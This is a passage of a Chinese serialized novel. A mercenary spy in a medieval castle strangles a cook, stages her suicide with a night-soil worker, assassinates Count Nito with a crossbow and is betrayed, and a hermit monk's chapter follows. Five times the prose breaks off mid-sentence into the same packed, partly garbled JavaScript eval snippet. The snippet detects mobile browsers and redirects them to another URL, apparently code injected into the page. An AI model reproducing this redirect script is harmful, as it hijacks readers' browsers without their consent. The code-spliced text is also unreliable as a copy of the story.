那时我还没想好要怎么刺杀尼托伯爵。 我糟糕的人缘在此时显露出弊端,我作为一个普通的守卫,平时的活动范围只在前堡场和门楼,连伯爵居住的主楼都进不去……连见面都见不到,又何谈刺杀呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231460|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就在我为这件事而烦恼时,发生了一件不大不小的事。 庆典期间必然有马上比赛,那一直是人们向领主们展现自身的时候。 我的本事不差,只是身份太低,根本没资格参加——但去看看总是可以的,说不定会有什么预想不到的机会等着我——抱着这样的想法,我便想趁着休班的时候去后堡场看看那些人的练习赛。 见我要出门,又得知我是想去后堡场,杰恩便说要跟我一起去。 走到一半,他说那边人多又密,比赛时间还长,问我要不要一起提前方便一下。 这倒是很有道理。我当时一直在想如何接近尼托伯爵,没多想,跟着他一起向僻静处走去,却没想到居然在不远处的墙根下看到了一具尸体! 这里正是西塔楼,且距离我藏手|弩的树洞不远。 我的第一反应是想要遮掩,但杰恩那个大嗓门已经叫喊起来。 后来我才知道,死者是个厨房的帮厨,死因是为了给西塔楼里的一个隐士送饭,却被从上方落下的砖头砸死了……这是个倒霉的姑娘。 不过让我松口气的是,那姑娘的死因十分清晰,事情也很快被处理干净,城堡内再次恢复宁静。 我一开始以为这只是个巧合,直到杰恩再次找到我,跟我说厨房里有个叫黛拉的厨娘想要见我,询问我那天见到尸体的具体情况。 那个帮厨已经死了快半个月了,为什么还会有人提到她? 我的警惕心在那一刻突然拔高,没有拒绝,跟着杰恩去见了那个厨娘。 黛拉是个看起来很普通的妇人。 个子不高,稍稍有些胖,大概因为有些年纪了脸上的肉开始向下松弛,显得她一脸苦相。 我看得出她似乎很怕我,也在怀疑着什么……我多希望那是我想多了,但她在之后几天的表现证明那并不是我的错觉。 她在向不同人打听关于我的信息。 我不明白她为什么要这么做。 难道她觉得那个帮厨是我杀的?这也太荒谬了,在此之前我都没见过那个小姑娘……还是说,她发现了其他什么? 那一阵侯爵大人的信使也确实来过城堡,但因为怕计划泄露我们没有见面,只在他快要离开时我趁机换班去了大门那里,短暂的一个照面里他朝我递过一个催促的眼神……总不能是因为这么一个眼神而暴露了吧?就算是发现,也不该是一个厨娘最先发觉问题。 或者,是别人发现了我的问题,让一个不会太引人注意的厨娘来调查我? 尽管这也有些说不通,但怀疑一旦产生,我就无法停止深思,那张总是带着愁苦的脸似乎也变得越来越狡诈可憎…… 我曾经设想过很多潜入城堡后会发生的意外,却万万没想到,目前对我产生最大威胁的居然是一个再普通不过的厨娘。 既然她嘴上是在问那个帮厨的死,那不管是在试探我,还是真怀疑那个姑娘的死有什么诡异之处,都有可能会再去西塔楼附近游荡。 西塔楼已经不安全了,我必须把藏在树洞里的东西转移走。 那天晚上,我借着黑夜的掩盖悄悄来到西塔楼的小树林,却惊讶地发现树洞旁居然已经站了一个人,手里还拿着一把眼熟的手|弩! 是那个厨娘,又是她!她果然发现了! 我不可能放过她,必须就在这里杀了她! 我没有丝毫犹豫地解下腰带,从后面用力勒住她的脖子,将人拖拉着重新带回树后。 她算是个力气很大的女人,可依然无法与我的力量抗衡。 很快她就不再挣扎,身体跟着软倒下去。 我没有松开手,死死勒着她的脖子过了许久,确认她不可能活过来时才终于松开手。 那天的天气很好,月光似乎都比平时亮,透过树影照到她脸上,让我看清了她的脸。 依然是那张满是苦相的脸,好像一辈子都没经历过什么开心事似的……看着看着,我居然从那陌生的五官上看到了我的母亲。 真是见鬼!我以为我早就忘记父母的模样了。 这么多年过去,经历了这么多事,他们的脸在我的记忆里早就变得模糊不清,即使在梦里我也只能听到他们的叹息和抱怨声。 大概也因为这个吧,因为他们都有着一张即使没有表情也会显出愁苦的脸……但谁不是这样过来的?这个世界上最不缺的就是苦命人! 我松开腰带,开始思考该如何处理尸体时,眼角余光突然捕捉到一道影子。 幽深的树影中,一个人正静静立在那里,手里还在摆弄着那把掉到地上的手|弩。 我脑中的弦瞬间断了,想都不想就拔出腰间的匕首朝那人刺去—— “……你是来刺杀伯爵阁下的吗?” 就在我即将冲到他面前时,他突然抬起头,用一双黑漆漆的眼睛盯住我,伸手将那把弩向前递来。 “如果你想刺杀伯爵阁下,也许我能帮上忙。” 16.4-3 不得不说,他的话让我犹豫了一瞬。 但也只是一瞬间。我很快看清了他的面容,知晓了他的身份后,心中便再次涌现出杀意。 他叫“臭卡尔”——臭汉斯的侄子,城堡内的新淘粪工,我曾在大门见过他几次。 一个淘粪工能帮我什么?又能与尼托伯爵有什么恩怨?尼托伯爵死了又能给他什么好处? 他一定是看到我杀了人,害怕被我灭口,才找出这么一个蹩脚的理由拖延时间……我不会上这种当。 在我重新握紧匕首时,卡尔像是听到了我的心里话,再度开口了。 “你今晚已经杀了一个人,处理一具尸体足够你忙一晚上了,再杀一个人对你来说只会增加负担。” 他瞥了眼倒在一旁的厨娘,依然用那没有什么起伏的声音说道:“你让我活着,我可以帮你处理她的尸体。你杀了我,就不是要多处理一具尸体的事了。我叔父走后整个城堡内只有两个淘粪工,人手本来就不够,明天又是处理粪池的日子,我负责把那些积攒在池子里的屎尿运送到指定地点倒掉。如果你现在杀了我,明天一早就会立刻有人发现我失踪了。” “一晚上失踪两人,就算总管先生再粗心也会察觉到异常。如果他将这件事上报给伯爵阁下,或者下定决心彻查,你能保证你今晚没有一直在宿舍睡觉、反而出现在主楼这边的事不会被人发现吗?” 我的匕首抵到了他的喉咙上,终究没有立刻再进一步,只劈手夺过他手中的弩。 “我凭什么相信你不会告发我?” “我要是现在放过你,你转身就去喊人来抓我,那还是一晚处理两具尸体比较划算……” 话说出口,我的大脑也跟着冷静下来。 没错,处理两具尸体确实会很累,也会引来不少麻烦,但调查也需要时间,总比立刻暴露要好…… 握着刀柄的手再次准备发力,可出乎我的意料,这个叫“卡尔”的年轻人仿佛不知道害怕是什么,只静静与我对视片刻,又开口了。 “我可以告诉你一个秘密。这个秘密如果你说出去,我也一定会死。”他说道,“总管莫迪凯在伯爵夫人有私情,时常会在西塔楼这边的空房间幽会。我的未婚妻就是碰巧撞破了这点,这才被他们杀害。” 耳边似乎落下一道惊雷,我被这个消息炸得一时没能回过神,只有嘴无意识地追问了一句“什么”。 “我的未婚妻贝尔碧娜,她是个厨房的帮厨。半个月前,她在这里被一个砖头砸死了。”卡尔指向树丛外的塔楼,“别人都说她是运气不好,其实并不是这样。我看过她的尸体,她的后脑被砸得血肉模糊,不但位置不对,明显不是一次偶然的撞击会造成的伤,可莫迪凯就像没看到一样,随便几句就打发了我们……” 他抬头看向我,苍白的月光透过树叶照下,在他的脸上落下一块同样苍白的光斑。 “我不甘心,所以找到住在这里的隐士寻求真相……果然,她是因为撞见莫迪凯和伯爵夫人的丑事,才会被他们杀人灭口。”他的声音里终于带上了一些波动,似是在颤抖,又像是在强忍怒意,“明明是他们做出了丑事,却是我的未婚妻送了命……凭什么?就凭他们身份高贵,就可以为所欲为,不把我们的命当命吗?” “她杀了我的妻子,我就杀死她的丈夫,这很公平。” 我看着眼前这个介于少年和青年之间的年轻人,胸中却涌起一股说不清的滋味。 当年的我又何尝没有过这样的想法? 如果我跟村子里的人一样,自认是下等人,并能接受身为下等人所谓的“命运”,我也不会悄悄逃出村子,成为一个为钱什么都做的雇佣兵。 这也是个可怜的家伙……但可怜的人多了去了,我加入佣兵团后学会的第一件事就是不能因为可怜别人而放过对自己的潜在威胁。 “可这件事与尼托伯爵有什么关系?”我依然稳稳握着匕首,抵在他的颈边,“他应该对此并不知情吧?如果你去向他告密,说不定还能得到奖赏……” “哈,奖赏?你是真一点都不了解我们的伯爵阁下。” 他像是听到什么极为好笑的话,带着那张始终没有表情的脸都跟着生动起来:“你知道为什么伯爵阁下这么讨厌西塔楼吗?因为过去他的母亲就与这里的其中一位隐士有过私情。他知道后可是毫不犹豫地把所有知情的人都灭口了,连自己的母亲都借故送进修女院,任凭她抑郁而死……如果不是厄尔玛修士当时已经年纪大了,并坚持着自己的苦修,他也早就被一根麻绳送去见父神了。” “连自己亲生的母亲都不留情,这样一个人,你觉得他会允许任何知晓他丑事的人活着吗?” “你都不需要确定这事是真是假,只要你带着我的名字把这些事喊出来,他估计就会以诽谤罪把我吊到铁笼里。” 最终,我还是移开了匕首。 不是因为我完全相信了这个人口中的话,只是觉得他现在摆出的态度,确实不像是会立刻出去告密。 而正如他所说,一夜杀两人实在太容易引人注意了……就算要弄死这个知情者,也不好在同一天动手。 当然,就算他真打算趁着我放松警惕的空档跑出去求救,以我们之间这么近的距离,我有信心让他无法活着走出这片树丛,也不用再纠结到底该不该暂时留他一命。 “先说说,你要怎么帮我处理这个女人的尸体。” 我假意放开他,甚至后退一步,给他留出足够的逃跑空间。 可这年轻人像是完全不在意,只点点头,擦着我的身体走到尸体旁蹲下。 “这很容易,有两种方法。”他说道,“第一种,我之前已经说过了,明天是清理粪池的日子,我可以把尸体装到装粪水的桶里,然后运到城堡外扔掉。粪便的臭气会掩盖住尸臭,也没有人会去专门检查粪车里拉的东西,把她运出去很容易……” 我刚想说这主意不错,却被一个“但是”堵住了。 “……但是据我所知,黛拉是现在厨房中唯一能做糖雕的人。现在距离庆典开始没几天了,而伯爵阁下的晚宴上不能缺少糖雕。如果她莫名失踪,我们的总管先生估计就算把城堡翻个面也要把人找出来。”他抬起头,冷静看向我,“如果黛拉今晚来西塔楼前没跟其他人说过什么也许还好,要是说过,或者她在来时被人看见过,我们的处境也许会比较危险……” “第二种是什么?”我有些烦躁地打断他的话,“我没时间在这里听你的长篇大论!” “第二种,就用她的腰带把她吊到那棵树上,当成她是在这里自杀。她本来就是被勒死的,不会有人看出其中的区别。” 他站起身,指向最外围的某棵树:“黛拉很喜欢贝尔碧娜,几乎把她当成她的女儿,最近一直因为她的死恍恍惚惚,似乎不相信她是死于意外——这点她周围的人都注意到了。如果她在这个时候在贝尔碧娜去世的地方上吊,只要稍加引导,相信大部分人都会在第一时间联想到她是因为伤心过度自杀的。” “她是个没有孩子的寡妇,没有人会深究她的死因。莫迪凯在看到她的尸体后,最先想到的一定该怎么解决糖雕的问题,更不会去找人仔细检查她的尸体。” 看着这个冷静说出如何处理尸体的年轻人,我几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245996|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎要怀疑他是否也是个混进城堡的间谍了。 可纵使心有顾虑,他的建议总归是可行的。 我看着他弯着腰在树林中寻找一圈,最后找到一个大小合适,又不太平整的石头。将其挖出来,放到树下。 正当他准备把那厨娘的腰带抛到树枝上时,我制止了他的动作,让他将其换成自己的腰带。 我既然不在今天杀他,那他也要留下一些实打实的把柄。 今晚我会把已经暴露的弩拆解销毁,那就算后来有人发现这厨娘不是自杀,就算他被抓住、攀咬到我身上,现场这条属于他的腰带还是会让他的嫌疑更大。 卡尔没有拒绝,直接解下自己的腰带,抛到树枝上,还很识相地将手中的腰带交给我,自己去抬尸体。 在我们两人的配合下,厨娘的尸体终于被放到一个合适的高度。 我系了一个死结,他松开尸体,踢开放在其脚下的石头,让那双脚刚好悬空且无法碰触到地面,一切就都布置完成了。 就算是我也不得不承认,这时候两个人比一个人方便很多。 这个厨娘的体重本来就不轻,变成尸体后就更重了,即使我也能想到把尸体吊到树上伪装成自杀,但要一个人做这些必然不会像现在这样能照顾到诸多细节…… 同时,这也注定卡尔这个比我还要瘦弱的小伙子根本无法一个人再把人放下来,将腰带替换回去。 时间不早了。 我看看天色,最后又看了眼那条牢牢系在他腰间的布腰带,拾起放在一旁的手|弩便准备转身离开。 “…………” “如果你真的想刺杀伯爵阁下,那最好先不要销毁那把弩。” 刚刚放回肚子的警惕再次被这句话勾起。 我转过头,眯眼看向那还站在原地的年轻人。 “你不是在主楼工作的人,虽然没有太多机会近距离接触伯爵阁下,但要以命换命的方式行刺未必没有机会。可你来城堡这么久还没动手,说明你应该想要在刺杀后全身而退吧?”他这么说道,“这点我可以帮你做到。” “…………” 看清他脸上认真的神情,我差点被逗笑。 “……你?” 我毫不掩饰地上下打量他一番,最后忍不住嗤笑出声:“你要怎么帮我?把我悄悄带进尼托伯爵的专属厕所,然后趁他蹲坑的时候跳出来给他一刀?” 这荒唐话说出来,我自己都被逗乐了,可他却不为所动,只一本正经地摇摇头。 “如果你说的是伯爵阁下在卧房那边的厕所,我是没有资格上去的,也没办法把你带进去。”他说道,“我只是想提醒你,虽然你手里的那把弩可能射程不远,让你觉得它既累赘又派不上太大用场,可用它刺杀成功的可能总要比投毒的成功的可能性大。” 我慢慢收起笑,面无表情地看向这个年轻人,心中再次涌出杀意。 “这并不难猜,杀人无非就那么几种方式。不是像今晚这样直接动手,那多半就是投毒了。”大概是看出我的脸色不佳,他如此解释道,“可你平时连主楼都进不去,想要在不惊动其他人的情况下,精准把毒下到伯爵阁下会吃的东西里非常难。所以我只是给你提个醒,先不要毁掉那把弩,也许后面你还能用得上。” 有些出乎意料,他居然真在提关于刺杀的建议……我心中的杀意渐渐变为疑惑。 “当然,这只是我的一点建议。你不信任我、想要毁掉它我也能理解。” 最后,他伸手朝一个方向指去:“但如果你需要我的帮助,每天第三个时辰,可以在门楼北侧找到我。” 18.4-5 不得不说,卡尔确实是个聪明的年轻人。 那一晚我们谈了很多。我不断抛出计划中的细节,包括我要什么时候混进主楼,在哪里换衣,成功或失败后要如何逃脱,他居然都能一一说出解决方法,把一个看似荒诞的刺杀方案完善到可以实施的地步。 “不管你是成功还是失败,你都可以藏进粪道躲避追捕。” “主楼宴会厅上方有一层的厕所是双人位,粪道比较宽,即使是你也能勉强钻进去。” 为了说服我,他不但用树枝给我画了一个城堡内粪道的简易图,还带我去西塔楼中的某个厕所,直接撬开垫在座位上的圆洞木板,露出一个黑漆漆的粪道。 “不过也因为防止有人从这里入侵城堡内部,这种比较大的粪道出口不会直接设在墙上,而是直通最下方的粪池。”他指着下方说道,“下次晚宴在三天后,正好前一天也是清理粪池的日子,池子里不会积攒太多粪水。你下来后我会在那里等你,之后你藏到粪车里,只要你能忍住那个味道,很快我就能带你离开城堡……当然,我不是白帮你。你要带我一起离开,也要告诉你的雇主这次刺杀中也有我的一份功劳。” 我与那双充满野心的眼睛对视许久,点头答应了。 如果他完全无所求,我反而会不放心……如今他终于直白露出自己的欲望,那我倒是不介意与他合作。 相信卡尔确实是一次豪赌,但我无法拒绝这次豪赌。 我已经在这座城堡生活了一年多,我的孩子都已经从一个婴儿长到能走路的年纪了,说不定现在已经能说话了! 错过这次侯爵大人的“一时冲动”,一旦他冷静下来或者被其他大臣说服,觉得留一个间谍比直接刺杀尼托伯爵更有价值,那我还不知要什么时候才能回家…… 我必须抓住这次机会。 时间很快来到计划中的那一天。 狩猎活动结束,城堡内又要因为一场晚宴忙碌起来。 眼看着到了黄昏,我按照计划装作肚子不舒服与巡逻的队伍分开,悄悄绕到与卡尔约定好的地方,在一处墙洞中掏出衣服换上,蒙上布巾,拎起装有手|弩的木桶,从侧门进入主楼。 不得不说,“臭卡尔”的衣服真是臭得离奇,我都怀疑他真往上面抹了屎。 脏是脏,效果却格外显著。侧门的看守原本还在聊天,见到我靠近立刻捂住鼻子转过头,挥手让我快点走,完全没有看我一眼。 我就这么顺利地进了主楼,踏进来时甚至有些恍惚,可很快,走廊里各种各样的声音让我清醒过来。 顺着喧闹的声音我很快找到了宴会厅所在的位置,并按照卡尔所说找到向上的楼梯,找到了那一排有两个坑的厕所。 我耐心等里面的人从里面出来,这才低着头走进去,卸了上面的木头坐垫。 如果有人来就推说这里的粪道堵了还没通好,让他们去其他厕所,等消息传出去,会来这里的人便越来越少了。 下面的宴席还没开始,我便一直躲在这个厕所里假装通粪道,实则借此机会观察在这里巡逻的守卫们到底有多少。 也许真是吾主保佑,在这条四方形廊道中巡逻的守卫只有两人。 而且他们显然不是什么勤快的家伙,我甚至还看到他们蹲在其中一个拱形小窗前,对着下面的人指指点点。 “……伯爵阁下今天是不是心情不太好?连埃尔德里德少爷都被骂走了……” “他心情不好也不是今天一天……你看这雨,连下四天了,伯爵阁下一出门就下雨,狩猎计划全泡汤了,怎么可能心情好啊……” “但那也跟埃尔德里德少爷没关系啊!而且雅各布少爷还更早来呢,怎么不跟他发脾气?” “梨挑软的吃,打枣先打底下的,是埃尔德里德少爷平时脾气太好了……哎,那小丑跑另一边了,我们去对面看……” 我听着他们渐渐走远的脚步声,探头去看,确认视线中再也没有人后立刻拎着木桶走出来,走到那个用来通风和透光的拱形窗边,侧着身子往下看。 尽管外面还在下雨,宴会厅中却灯火通明,十分热闹。 穿着滑稽服装的小丑正躺在地上蹬着腿,大声叫嚷着什么,逗得周围人哈哈大笑……而他的正前方,就是尼托伯爵所在的主桌。 卡尔说得没错,这里简直是最佳的伏击地点。 只可惜尼托伯爵这个老家伙一直坐在那里低着头,我现在的角度最多能保证命中他的脑门。 头骨可是很硬的,就算尼托伯爵站在我面前任我砍,我都不会直接砍他的头盖骨,更何况现在我手里只有一把小小的手|弩…… 我只有一次机会,不能白白浪费。 事到如今我只能等待……他作为领主和城堡的主人不会一直坐在主位不动,总会有其他动作…… 也许是吾主听到了我的祈祷,在外面传来第一声惊雷后,尼托伯爵居然站起来了! 装弦、上箭、瞄准、射击——所有动作都熟练到我闭眼就能做。 再次回过神,目标的身影已经随着又一声雷响倒下了。 我来不及看下面那些尖叫的人,立刻转身回到厕所,三两下拆了□□扔到粪道里,掀起已经撬开的木板,双脚蹬踩住两边的石壁,身体一边下沉一边努力将木板复原到原来的位置。 不能让他们知道我是从粪道里逃走的,或者说越晚让他们发现越好——不然等卡尔驾着粪车出去时,说不定会有人来检查。 这条粪道虽然比其他的宽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263913|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但对我来说还是有些狭窄。 不过狭窄也有狭窄的好处……据说这座城堡始建于四百年前,虽然当初的木质堡垒已经完全被石头替代,但这粪道也有至少百年的历史了,不但味道感人,连石壁上也不知积累了多少湿湿滑滑的恶心玩意,想抓点什么根本抓不住,要是我再瘦点说不定会直接滑下去摔死。 带着一点庆幸,我忍着胃里翻涌的恶心,靠身体卡着墙壁一点点往下滑。 就在我以为这条恶心的粪道可能没有尽头时,下方终于有了一点闪烁的亮光。 是外面的闪电!出口就要到了! 我的心跳突然加快,连射击的时候都没有跳那么快! 对我来说那就是希望的光,这条臭到能把人熏死的粪道就是回家的路!我怎么能不激动! 我更加努力地蠕动身体,连手臂上磨破了皮都不在乎了,只想再近一点,再近一点…… 轰隆———— 伴随着又一道闷雷声从外面传来,我从粪道中钻出,落到了粪池里。 可在下落的那一瞬间,我突然发现了不对劲。 这个粪池不对劲……为什么这个粪池里有这么多粪便,都堆到我的胸口了! 无比浓烈的恶臭包裹着我,熏得我有一瞬的眩晕。 一片漆黑里只有闪电能够照明。电光从透气的小窗照进来时,我看到一道黑影正站在粪池边。 “卡、卡尔……是你吗?” 我忍着恶心,努力朝他的方向走:“快,拉我一把……” 啪———— 伸出的手被铁锹狠狠打到一边。 可我已经顾不得发怒,因为那铁锹已经朝我的头砸来—— ————砰! 轰隆———— 有一道闪电划过黑暗,让我彻底看清了那个又一次抡起铁锹的人。 “卡尔!!”我的怒吼伴随着雷声一起响起,在那铁锹再次落下前扯开嗓子喊道,“你为什么!为什么要——” “为什么要杀你?” 那道黑影接住我的话,冷冷道:“你居然也能问出这样的话?你杀黛拉的时候,不也没向她解释为什么吗?” “你、你是为了她?抱歉,我不知道……可我可以弥补你啊!你知道我的雇主是谁吗?是威登堡侯爵!只要你跟我一起走,他会封你为骑士,不管是女人还是土地都随你……” “我不是为了她,我又跟她不熟,我只是为了我自己。” 那道声音再次打断我,用那毫无波澜的声线说道:“地位、女人和土地,既然用你的人头就能换到,我何必舍近求远。” 这是我最后听到的话语。 下一秒,那铁锹再次落下,我的世界彻底化为一片黑暗。 19.5-0 暴雨过后,阴云消失不见,天空再次变得像湖水一样平静。 飞鸟从上方飞过,没有人在意天上飞的鸟是否还是原来那批,也没人在意漂浮在湖水上的草叶是否还是原先那些。 厄尔玛修士说,世界有自己运行的规则。当命运的铁轮向我们驶来,再硬的脊梁也会像可怜的蚂蚁一样被碾碎。 我是,他是。 我们都是微不足道的,我们都是可以被替代的,这并不让人意外。 我只是没想到连伯爵阁下也一样。在如此宏大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276921|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的世界里,他也不过是一个微不足道的、可以被随时替代的角色。 世界有自己运行的规则,谁抓住规则谁就会向上。 既然如此,我也想要试试看……在被铁轮碾碎之前,这双沾满污物的手到底能爬到哪一步。 20.5-1 “活得长没什么好的啊,厄尔玛,没什么好的……” “等你到我的年纪就知道了,没什么好的,没什么好的……” 最近我总是能听到这句话。 那道声音是如此熟悉。我从小时候就听着那道声音无数次讲述教经中的故事,少年时听着它为我解惑,青年后开始与之辩论…… 伊斯拉,我的恩师和挚友,我们曾经度过多少美好的时光啊。可当我现在再想起他时,耳边最先响起的永远是这句话。 年老确实让人痛苦,我此时已经切身感觉到他反复重复的那句话意味着什么了。 眼睛花了,手脚没有力气,连站立都变得费力……我能感受到这具身体正在慢慢腐朽,却只能眼睁睁看着,没有任何办法阻止。 这就是世间的法则,年轻时享受健康的身体带来的快乐,年老后就要承担其衰败的痛苦——我的好友萨瓦托雷是这么说的。 我觉得他当着一个老人的面说这些实在太过残忍,用“你也会有老的一天”反驳他,他却哈哈笑出声。 “那也是吾主给予我的考验,我的朋友。”他完全不在意地摆摆手,用那双温和的眼睛看向我,“年老带来的痛苦也是一种我从未经历过的全新体验。如果真有那一天,我想我会欣喜地接受它!” 如果这是从别人口中说出的话,我会对此嗤之以鼻。 可如果是萨瓦托雷,那我觉得他真的会这么做——因为他就是那样一个不可思议的人。 他天生拥有一条能说服任何人的舌头,却从不用它作恶。 在主教都闹出私生子丑闻的时候依然坚持着圣那图拉传下来的教义,全身上下除了有一件用于遮身的灰袍外没有任何私产……如果说这个充满罪恶的时代还存在圣人,我觉得他比龟缩在罗拿的教皇冕下更配得上这个称号…… 看来我真是老了,一想到旧人旧事就停不下来。 可不去想这些旧事,我又有什么可想的呢? 如今的我早就不是吕得大学的“希尔乌斯教授”,也不是修道院的“厄尔玛司事”,不过是一个无人在意的隐士,不肯向腐朽教廷低头的囚徒。 我的人生早在进入这间房间、立誓终身保持缄默时就停止了。 唯一能做的就只有不断将过去的记忆反刍咀嚼,等待回归吾主怀抱的那一刻……只是连我都没想到,这一刻居然等了三十年都没能等到。 三十多年过去,这座城堡里来来去去换了不少人,连主人都换过了,我却依然待在这里。 没有变化,无人在意,就像墙壁上的石砖,沉默待在属于我的位置。 砖头不会说话,砖头不会关心任何事。 这就是我的命运。在进入这间房间后我就在等待,等待我这块“石砖”再也承受不住风吹日晒,化为齑粉的那一刻。 有那么一次,我以为我终于等到了。 不知是否出于别人的指使,那个负责给我送食水的男仆连续四天没有出现。 我躺在床上,以为这就是结局了,却没想到在意识消散前有人发现了异样并冲进房间,把我救了回来…… 当食物和水被递到我嘴边时,我无法形容那时的感受,混沌的大脑里只有一个疑问在回荡。 有食物在嘴边却拒绝进食,这是否能算是自杀? 自杀也是剥夺生命,是对吾主的冒犯,是大罪,即使死了也无法再回到吾主的怀抱。 我虽觉得生活已经了无生趣,可也许是潜意识让我无法做出如此不守教义之事,也或许是这具身体求生的本能,我吃下了那人送来的饭食,活了下来。 救了我的人叫贝尔碧娜,是城堡厨房中的帮厨。 她说她发现平时负责来厨房为我拿饭食的男仆已经好几天没来了,担心出事所以来看看,没想到真的差点出了人命。 我万万没想到,就在我以为所有人都将我遗忘时,居然有一个人还记得我。 不是我的朋友,不是我的亲人,不是我的仇人,只是与我素未谋面的、一个在厨房工作的帮厨。 我其实很想问她为什么要为一个陌生人特地跑一趟。 但我已经习惯那守了三十多年的缄默戒律,习惯做一块石头,疑问也不过冒头一瞬,很快就缩了回去。 从那之后,日子似乎又开始循环往复。 除了送饭的人变了,一切都没有变化。 贝尔碧娜是个很有礼貌的姑娘。 我看得出她其实性格活泼,但知道我在守戒不能说话,每次来不管是给水瓶倒水还是收拾杂物,都会摆出一副稳重的姿态,从不说话。 可她到底只是个十几岁的姑娘,如果我的侄子还活着,她估计比我的侄孙年纪还小,那双灵动的眼睛完全暴露了她的真实性格。 果不其然,在装过几次稳重后她就装不下去了,时不时开始询问我一些类似“饭食口味如何”的客套话,有时也会自言自语般说一些生活上的小疑问,然后寻求我的意见。 我能给出什么意见呢?除了点头和摇头,根本无法表达更复杂的意思。 可对她来说,这样的回应似乎就足够了。 每次得到答案她都很高兴,道谢后开开心心地离开。 “我听城堡里的老人说过,住在西塔楼的修士都是很厉害的人!不但会读书写字,还有很多人为国王和教皇服务过,您给出的意见准没错!” 真是个天真的姑娘啊! 就算是国王和教皇也都是凡人,是凡人就会犯错,历史上最不缺的就是愚蠢的统治者。 心中这样想着,我却无法说出来。 无知者总是快乐的,有些道理不知道比知道更轻松。更何况她只是个居住在伯爵城堡里的小帮厨,也许一辈子都见不到一个国王或皇帝,跟她说这些实在没什么意思。 然而,世间的一切似乎都这样没有道理。 就像我从来没想到一个陌生人会冲出来救我一命一般,我也没想到那是我见到贝尔碧娜的最后一面。 那天她走后不久,另一个人敲开了我的房门。 是这座城堡的总管莫迪凯——伯爵夫人的情夫,一个奸猾狡诈的投机者。 他以为我老了,该跟其他年纪的老人一样眼花耳聋,所以每次两人来偷情都很是肆无忌惮,却不知我虽然眼睛花了,耳朵却变得更加敏锐,早就知道了他的秘密…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276922|165203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但那跟我又有什么关系? 我是一块砖石,砖石就算有眼睛和耳朵也不会说话,不会离开自己的位置……也许他也明白这个道理,所以此时连遮掩都懒得遮掩,头发和衣襟都没整理好就来到我面前。 “……我没想到会有人玩忽职守,连你这边的饭都换成厨房的人来送了。”他的视线扫过放在桌上的水壶和面包,忽地露出一个假笑,“请你放心,以后我不会让这种纰漏再次发生。” 我当时没有深想他为什么会突然跑来说了这些话……他实在是个虚伪到令人作呕的男人,每次见到那张脸都让我感到不适。 所以那次我也与过去一样,静静闭上眼,没有给他任何回应。 直到第二天晚上,外面的天完全黑透,我做完睡前祷、即将躺下结束这一天时,我的房门再次被敲响了,随之响起的是一道陌生的声音。 “厄尔玛修士,抱歉在这种时候打扰您,希望您还没有入睡……” “我叫卡尔,是贝尔碧娜的未婚夫……我来是向您转告一个不幸的消息……” 那道声音顿了顿,继续道:“贝尔碧娜去世了,被一块砖头砸死了,就在昨天下午,给您送饭回去的路上,就在西塔楼的墙边……” 突然,我的耳边传来一声嗡鸣,大脑一片空白。 “我对这件‘意外’有些疑问……我见到了贝尔碧娜的尸体,她的后脑被砸得血肉模糊,可砖头如果是从上方落下的,那除非她那时完全弓着腰低头,否则砸中的不该是那个位置。” 